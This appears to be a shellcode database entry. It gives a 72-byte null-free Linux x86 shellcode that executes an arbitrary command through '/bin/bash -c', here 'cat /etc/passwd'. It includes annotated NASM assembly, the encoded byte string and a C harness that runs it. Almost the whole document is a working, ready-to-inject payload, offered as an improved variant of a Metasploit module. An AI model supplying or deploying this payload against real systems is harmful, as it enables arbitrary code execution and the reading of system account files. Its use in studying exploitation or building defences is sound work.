Linux/x86 - execve(/bin/bash -c) Arbitrary Command Execution + Null-Free Shellcode (72 bytes)

/* 
;author:    Filippo "zinzloun" Bersani
;date:      16/12/2016
;version:   1.0
;X86 Assembly/NASM Syntax
;tested on: Linux OpenSuse001 2.6.34-12-desktop 32bit
;           Linux ubuntu 3.13.0-100-generic #147~precise1-Ubuntu 32bit
;           Linux bb32 4.4.0-45-generic 32bit
;72 bytes
;description:
   executes arbitrary command through /bin/bash -c "command"
    a slightly different and null free version of the metasploit payload:
		https://www.rapid7.com/db/modules/payload/linux/x86/exec
	that is not null free. Crashed on 2 vm of my lab enviroment: OpenSuse001 and bb32
	so I coded this version, anyway thx 2 vlad902 for the great idea

;see comment for details

global _start			

section .text
_start:

xor eax,eax			;zeroing registers
xor edx,edx
mov al,0xb			;int execve(const char *filename, char *const argv[], 
                        ;        char *const envp[]);

push   edx			;null
push   word 0x632d 	;-c
mov edi,esp			;save in edi the -c value

push edx			;null
push 0x68736162		;////bin/bash
push 0x2f6e6962
push 0x2f2f2f2f

mov ebx,esp			;set first arg in ebx=*filename	
push   edx			;null

jmp short push_cmd	;jump to collect the command

set_argv:
 push edi			;push -c value
 push ebx			;push ////bin/bash
 mov ecx,esp		;*argv = ////bin/bash, -c, cmd, null
 int    0x80

push_cmd:
 call set_argv
 cmd: db "cat /etc/passwd;echo do__ne"
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xd2\xb0\x0b\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89"
"\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x3b"
"\x65\x63\x68\x6f\x20\x64\x6f\x5f\x5f\x6e\x65";
main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}